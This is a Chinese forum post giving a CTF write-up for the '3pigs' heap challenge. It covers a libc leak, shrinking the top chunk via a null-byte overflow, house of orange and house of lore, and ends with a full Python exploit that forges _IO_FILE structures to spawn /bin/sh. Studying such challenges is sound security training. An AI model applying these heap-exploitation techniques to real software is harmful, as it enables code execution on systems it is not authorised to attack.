首页
社区
课程
招聘
[原创]3pigsX
发表于: 2018-6-7 18:54 3243

[原创]3pigsX

BPG 活跃值
2
2018-6-7 18:54
3243

3pigs

### 1. ALL
首先还是看下各个操作:

* catch_pig
一共有三只猪可供选择,每只猪都有个自己的名字。然后你可以给他们留言,名字占0x10,留言占0xc8,一共申请了0xd8的空间。留言的时候会在最后加个`\x00`。

* release_pig
这一步主要是将申请的空间给释放掉,释放后会将内容全部清理掉,同时指针也将清空。

* change_name
修改名字,可以输入0x10的内容。

* list_pig
这里主要是将各个猪的名字和留言打印出来。

* catch_gold
这里可以抓金猪并且金猪不能被释放,而且金猪必须是在没有抓其他猪的情况下才能抓,大小为0x150。

* change_next_name
可以修改金猪的下一个猪的名字。

### 2. leak
泄露很简单,`libc`的地址直接申请释放制造一个`unsorted bin`就能够泄露出来了。

### 3. 缩小top
这里我提供的思路是利用溢出的`NULL BYTE`来实现缩小`top`,从而构造最终的`unlink`。

具体实现步骤如下:
```
catchpig(0,"0"*0xc8) # top被第一次改写
catchpig(1,"0"*0xc8) # top被第二次改写
catchpig(2) # 修改heap_1->next_chunk->prev_size为1,这样heap_1才能被释放
freepig(2)
freepig(1)
freepig(0)
```
这样操作以后,就能实现缩小`top`了,每次可以缩小多少不固定,反正测试一下就能得到多少次能变成非常小。

### 4. sysmalloc
当`top`变的非常小以至于无法满足我们要`malloc`的需求时,就会调用`sysmalloc`分配新的空间,并将`top`给`free`掉,所以这个时候我们就能伪造`top`的`prev_size`,从而调用`unlink`。
但问题是调用`sysmalloc`的时候会有个校验:
```
2412      assert ((old_top == initial_top (av) && old_size == 0) || // top没有初始化,所以其size为0
2413              ((unsigned long) (old_size) >= MINSIZE && // top已经初始化,所以包含fencepost,size一定大于MINSIZE
2414               prev_inuse (old_top) && // top的前一个chunk一定是inuse
2415               ((unsigned long) old_end & (pagesize - 1)) == 0)); // top结束地址必须页对齐
```
由于这里存在一个验证,需要前一个`chunk`不能为空闲的,所以没法直接和前面合并从而调用`unlink`。而后面同样也不行,因为在`sysmalloc`后会生成一个`fencepost`,其第一个`chunk`同样也是使用中的。具体可以参照[sysmalloc解析](http://www.mutepig.club/index.php/archives/47/#3.sysmalloc)。

而第二个问题是`top`结束地址必须页对齐,所以我强行构造了一发,最终在前面和后面都`malloc`了一个特殊大小的块,实现了页对齐。

### 5. houseoforange
那么最终就只能用`house of orange`来解决问题了,不过又很多限制所以我一一强行构造了出来。
首先是`size=0x60`才行,所以我设计了一个`gold pig`,用来构造一个对应大小的`top`,使之大小为0x80,之后通过`sysmalloc`会生成一个`fencepost`来减去0x20,最终得到了我们目标的0x60。
接着是`unsorted bin`攻击,所以我们需要修改`top->bk`,于是就可以使`gold pig`能修改下一个猪的名字。
其他的就都能从之前的猪的留言那设置了。

### 6. HITB非预期解
由于这里是可以修改下一个块的`bk`,而且也可以泄露`heap`地址,所以也是可以使用`house_of_lore`的,于是我们可以伪造一个`chunk`,使得其大小为0x60即可

首先先泄露`libc`的地址,方法其实和正常的也是一样的,然后泄露`heap`的地址,就是通过将`fastbin`夹在两个pigs之间,然后将他们释放也就能打印出来了
当前的布局是这样的:
```
+========+
   pig1
+========+
 fastbin
+========+
   pig2
+========+
   pig3
+========+
 topchunk
```
由于我们可以通过`fastbin`来修改`pig2`的`fd`和`bk`,所以可以在`pig2`里伪造两个chunk
```
+========+ pig2
 0  | 0xd1
+========+
arena->top | fakechunk1
+========+
 padding
+========+ fakechunk1
 0  | 0xd1
+========+
pig2|fakechunk2
+========+ fakechunk2
 0  | 0x61
+========+
fakechunk1|arena->top
```
由于我们这里将`fakechunk2->bk`设置为了`arena->top`,而`arena->top->bk = arena->unsorted bin`,所以在将`fakechunk2`从`unsorted bin`取到`smallbin`的过程中不会报错



### 7.  EXP
```
#!/usr/bin/env python
# encoding: utf-8

from mypwn import *
bin_file = "./3pigs"
remote_detail = ("127.0.0.1",8888)
libc_file = "./libc.so.6"
bp = []
pie = False
p,elf,libc = init_pwn(bin_file,remote_detail,libc_file,bp,pie)

def catchpig(id,data):
    p.recvuntil("ope:")
    p.sendline("1")
    p.recvuntil("num:")
    p.sendline(str(id))
    p.recvuntil("data:")
    p.send(data)
    p.recvuntil("Success")

def freepig(id):
    p.recvuntil("ope:")
    p.sendline("2")
    p.recvuntil("num:")
    p.sendline(str(id))
    p.recvuntil("Success")

def listpig():
    p.recvuntil("ope:")
    p.sendline("3")
    return p.recvuntil("Success")

def catchgold():
    p.recvuntil("ope:")
    p.sendline("4")
    p.recvuntil("secret:")
    p.sendline("UOTp%I<S")
    p.recvuntil("Success")

def usegold(data):
    p.recvuntil("ope:")
    p.sendline("5")
    p.recvuntil("data:")
    p.send(data)
    p.recvuntil("Success")


def leak():
    global io_addr, libc_addr
    catchpig(0,"0")
    catchpig(1,"1")
    freepig(0)
    catchpig(2,"2")
    ret = listpig()
    addr = ret.split("\n")[3].split("Small Li")[1].split("|")[0].ljust(8,"\x00")
    addr = u64(addr)
    print hex(addr)
    usbin_addr = addr
    io_addr = usbin_addr + 0x9a8
    libc_addr = (addr & 0xfffffffff000) - 0x3c4000
    freepig(1)
    freepig(2)

def cleantop():
    tmp = (binsh_addr-100)/2
    catchpig(0,"0"*0xb8)
    catchpig(1,"\x00"*0x60 + p64(0xfffffffffffffffe) + p64(0)*3 + p64(2) + p64(3) + p64(0) + p64(binsh_addr) + "\x00"*0x18)
    catchpig(2,"\x00"*0x50 + p64(0xffffffffffffffff) + p64(0)*2 + p64(io_str_jumps-8) + p64(0) + p64(system_addr))
    freepig(1)
    freepig(2)
    freepig(0)

def cleantop2():
    catchpig(0,"0"*0xb8)
    catchpig(2,"2")
    freepig(0)
    freepig(2)

    catchpig(1,"4")
    catchgold()
    catchpig(2,"5")
    freepig(2)
    freepig(1)

    usegold(p64(0) + p64(io_list_all-0x10)[:-1])

    p.recvuntil("ope:")
    p.sendline("1")
    p.recvuntil("num:")
    p.sendline("1")

if __name__=='__main__':
    leak()
    system_addr = libc_addr + libc.symbols['system']
    io_str_jumps = libc_addr + + libc.symbols['_IO_file_jumps'] + 0xc0
    binsh_addr = libc_addr + libc.search("/bin/sh").next()
    io_list_all = libc_addr + 0x3c5520

    log.success("io_addr: %s"%(hex(io_addr)))
    log.success("system_addr: %s"%(hex(system_addr)))
    log.success("binsh_addr: %s"%(hex(binsh_addr)))
    log.success("strjump_addr: %s"%(hex(io_str_jumps)))
    #raw_input("system")
    for i in xrange(512):
        cleantop()
        print i
    #pause()
    #cleantop()
    cleantop2()

    p.interactive()
```


[招生]科锐逆向工程师培训(2024年11月15日实地,远程教学同时开班, 第51期)

最后于 2018-7-8 13:02 被kanxue编辑 ,原因:
上传的附件:
  • 3pigs (14.05kb,13次下载)
收藏
免费 1
支持
分享
最新回复 (1)
雪    币: 10868
活跃值: (3282)
能力值: (RANK:520 )
在线值:
发帖
回帖
粉丝
2
需要提供设计思路  破解思路  和EXP
2018-6-9 15:55
0
游客
登录 | 注册 方可回帖
返回
//